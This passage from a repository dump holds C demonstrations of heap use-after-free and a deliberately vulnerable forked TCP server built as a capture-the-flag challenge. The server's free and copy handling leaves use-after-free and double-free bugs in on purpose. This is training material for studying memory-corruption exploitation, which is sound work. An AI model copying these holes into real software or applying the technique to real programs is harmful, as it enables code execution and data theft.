| } UAFME; 7 | 8 | void good(){ 9 | printf("I AM GOOD :)\n"); 10 | } 11 | 12 | void bad(){ 13 | printf("I AM BAD >:|\n"); 14 | } 15 | 16 | int main(int argc, const char * argv[]){ 17 | printf("[i] Allocating a chunk malloc1 holding a UAFME struct\n"); 18 | UAFME *malloc1 = malloc(sizeof(UAFME)); 19 | malloc1->vulnfunc = good; 20 | printf("[+] UAFME struct initialized with size: %lu\n", sizeof(UAFME)); 21 | printf("[i] good at %p\n", good); 22 | printf("[i] bad at %p\n", bad); 23 | 24 | printf("[i] Calling malloc1's vulnfunc: \n"); 25 | malloc1->vulnfunc(); 26 | 27 | printf("[i] Freeing malloc1\n"); 28 | free(malloc1); 29 | printf("[i] Allocating a chunk malloc2 with 24(Assuming 64bit) byte size\n"); 30 | // See why malloc(0) reserves 24+8 bytes in 64bit at: 31 | // https://sensepost.com/blog/2017/painless-intro-to-the-linux-userland-heap/ 32 | long *malloc2 = malloc(0); 33 | printf("[i] Setting malloc2 to bad's pointer\n"); 34 | *malloc2 = (long)bad; 35 | 36 | printf("[i] Now calling malloc1 vulnfunc again...\n"); 37 | // Here is where the use-after-free happens 38 | // as we are using the free malloc1 which 39 | // was populated with a pointer to bad 40 | printf("[i] malloc1 refs from %p and malloc2 refs from %p\n", &malloc1, &malloc2); 41 | malloc1->vulnfunc(); 42 | } 43 | -------------------------------------------------------------------------------- /UAF/basic_uaf_2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | typedef struct UAFME { 5 | void (*vulnfunc)(); 6 | } UAFME; 7 | 8 | void good(){ 9 | printf("I AM GOOD :)\n"); 10 | } 11 | 12 | void bad(){ 13 | printf("I AM BAD >:|\n"); 14 | } 15 | 16 | void helper_call_goodfunc(UAFME *uafme){ 17 | UAFME *private_uafme = uafme; 18 | private_uafme->vulnfunc = good; 19 | private_uafme->vulnfunc(); 20 | // After some time coding, the developer forgets that 21 | // previously, it was assigned: 22 | // private_uafme = uafme 23 | // now, trying to be tidy, free()'s the "private" pointer 24 | // which actually is the malloc1 pointer 25 | free(private_uafme); // OOPS 26 | } 27 | 28 | int main(int argc, const char * argv[]){ 29 | printf("[i] Allocating a chunk malloc1 holding a UAFME struct\n"); 30 | UAFME *malloc1 = malloc(sizeof(UAFME)); 31 | printf("[+] malloc1 at %p\n", malloc1); 32 | printf("[i] good at %p\n", good); 33 | printf("[i] bad at %p\n", bad); 34 | helper_call_goodfunc(malloc1); 35 | // malloc1 is now free 36 | 37 | printf("[i] Allocating a chunk malloc2 with 24(Assuming 64bit) byte size\n"); 38 | long *malloc2 = malloc(0); 39 | printf("[i] Setting malloc2 to bad's pointer\n"); 40 | *malloc2 = (long)bad; 41 | printf("[+] malloc2 at %p\n", malloc2); 42 | 43 | // Here is where the use-after-free happens 44 | // as we are using the free malloc1 which 45 | // was populated with an integer 46 | printf("[i] Now calling malloc1 vulnfunc again...\n"); 47 | malloc1->vulnfunc(); 48 | } 49 | -------------------------------------------------------------------------------- /UAF/challenge-uaf.c: -------------------------------------------------------------------------------- 1 | /* simple-server.c 2 | * 3 | * Copyright (c) 2000 Sean Walton and Macmillan Publishers. Use may be in 4 | * whole or in part in accordance to the General Public License (GPL). 5 | * 6 | * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND 7 | * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 8 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 9 | * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE 10 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 11 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 12 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 13 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 14 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 15 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 16 | * SUCH DAMAGE. 17 | */ 18 | 19 | /*****************************************************************************/ 20 | /*** simple-server.c ***/ 21 | /*** ***/ 22 | /*****************************************************************************/ 23 | 24 | /************************************************************************** 25 | * This is a simple echo server. This demonstrates the steps to set up 26 | * a streaming server. 27 | **************************************************************************/ 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | 38 | #define MY_PORT 9999 39 | #define MAXBUF 1024 40 | #define MAXCHUNKS 32 41 | #define SIZEOFMALLOCS 0x100-8 42 | 43 | const char *hellomessage = "***** Welcome to the Heap challenge 1 - UAF *****\n\0"; 44 | const char *optionsmessage = "\n[1] Allocate a chunk \n" 45 | "[2] Free last chunk\n" 46 | "[3] Set contents of last chunk\n" 47 | "[4] Print contents of first chunk\n" 48 | "[5] Exit and reinitialize everything\n\0"; 49 | const char *allfreemessage = "[-] Sorry d00d, all chunks are free...\n\0"; 50 | const char *allocmessage = "[+] Allocation done\n\0"; 51 | const char *freemessage = "[+] Free'd chunk\n\0"; 52 | const char *reqinputmessage = "[+] Enter your payload: \0"; 53 | const char *memcpymessage = "[+] Contents copied into chunk\n\0"; 54 | const char *nopemessage = "[+] You can't set the contents of the first chunk...\n\0"; 55 | const char *byemessage = "\n[+] Bye bye!\n\0"; 56 | 57 | 58 | void zechallenge(int clientfd) 59 | { 60 | const char *f14g = "SP{nottheflag_d000000000000000000d}\n\0"; 61 | int chunkpos = 0; 62 | char *flagmessage = malloc(SIZEOFMALLOCS); 63 | char buffer[MAXBUF]; 64 | char ** strchunks[MAXCHUNKS]; // Pointer to pointer 65 | 66 | strchunks[0] = malloc(SIZEOFMALLOCS); 67 | *strchunks[0] = flagmessage; 68 | 69 | sprintf(flagmessage, "The flag is at %p\n", f14g); 70 | 71 | // Send hello message 72 | send(clientfd, hellomessage, strlen(hellomessage), 0); 73 | 74 | int loopout = 0; 75 | while (!loopout) 76 | { 77 | if (send(clientfd, optionsmessage, strlen(optionsmessage), 0) < 0) break; 78 | if (recv(clientfd, buffer, MAXBUF, 0)) 79 | { 80 | // [1] Allocate a chunk 81 | // [2] Free last chunk 82 | // [3] Set contents of last chunk 83 | // [4] Print contents of first allocated chunk - Hint: printf("%s\n", **strchunks[0]) 84 | switch (buffer[0]) 85 | { 86 | case '1': 87 | if (chunkpos < MAXCHUNKS) 88 | {// If we have free()'d 0, now we use the ones starting from 1 89 | // Note that this will cause double free if someone free()'s 0 again 90 | if (chunkpos == -1) ++chunkpos; 91 | strchunks[++chunkpos] = malloc(SIZEOFMALLOCS); 92 | send(clientfd, allocmessage, strlen(allocmessage), 0); 93 | } 94 | break; 95 | case '2': 96 | if (chunkpos > -1) 97 | { 98 | free(strchunks[chunkpos--]); 99 | send(clientfd, freemessage, strlen(freemessage), 0); 100 | break; 101 | } 102 | case '3': 103 | if (chunkpos > -1) 104 | { 105 | if (chunkpos == 0) 106 | { 107 | send(clientfd, nopemessage, strlen(nopemessage), 0); 108 | break; 109 | } 110 | send(clientfd, reqinputmessage, strlen(reqinputmessage), 0); 111 | if (recv(clientfd, buffer, 8, 0) > 0) 112 | memcpy(strchunks[chunkpos], (char*)buffer, 8); 113 | send(clientfd, memcpymessage, strlen(memcpymessage), 0); 114 | break; 115 | } 116 | case '4': 117 | if (chunkpos > -1) 118 | { 119 | // Next line will crash on bad pointers 120 | char *maybeflag = *strchunks[0]; 121 | send(clientfd, maybeflag, strlen(f14g), 0); 122 | break; 123 | } 124 | // If we didn't break in 3 or 4 it means that all chunks are free 125 | send(clientfd, allfreemessage, strlen(allfreemessage), 0); 126 | break; 127 | case '5': 128 | loopout = 1; 129 | send(clientfd, byemessage, strlen(byemessage), 0); 130 | exit(0); 131 | break; 132 | } 133 | } else break; 134 | } 135 | close(clientfd); 136 | } 137 | 138 | int main(int argc, char *argv[]) 139 | { 140 | errno = 0; 141 | char *p; 142 | struct sockaddr_in self; 143 | int port = MY_PORT; 144 | int clientfd; 145 | int option = 1; 146 | struct sockaddr_in client_addr; 147 | int addrlen=sizeof(client_addr); 148 | pid_t parent = getpid(); 149 | pid_t child; 150 | 151 | if (argc == 2) 152 | port = strtol(argv[1], &p, 10); 153 | printf("[+] Listening port: %d\n", port); 154 | 155 | int sockfd; 156 | /*---Create streaming socket---*/ 157 | if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) 158 | { 159 | perror("Socket"); 160 | exit(errno); 161 | } 162 | setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &option, sizeof(option)); 163 | 164 | /*---Initialize address/port structure---*/ 165 | bzero(&self, sizeof(self)); 166 | self.sin_family = AF_INET; 167 | self.sin_port = htons(port); 168 | self.sin_addr.s_addr = INADDR_ANY; 169 | 170 | /*---Assign a port number to the socket---*/ 171 | if ( bind(sockfd, (struct sockaddr*)&self, sizeof(self)) != 0 ) 172 | { 173 | perror("socket--bind"); 174 | exit(errno); 175 | } 176 | 177 | /*---Make it a "listening socket"---*/ 178 | if ( listen(sockfd, 20) != 0 ) 179 | { 180 | perror("socket--listen"); 181 | exit(errno); 182 | } 183 | 184 | /*---Forever... ---*/ 185 | /*---accept a connection (creating a data pipe)---*/ 186 | while (1) 187 | { 188 | clientfd = accept(sockfd, (struct sockaddr*)&client_addr, &addrlen); 189 | printf("%s:%d connected\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port)); 190 | child = fork(); 191 | if (getpid() == parent) 192 | { 193 | close(clientfd); 194 | } 195 | else 196 | { 197 | zechallenge(clientfd); 198 | } 199 | } 200 | 201 | /*---Clean up (should never get here!)---*/ 202 | close(sockfd); 203 | return 0; 204 | } 205 | --------------------------------------------------------------------------------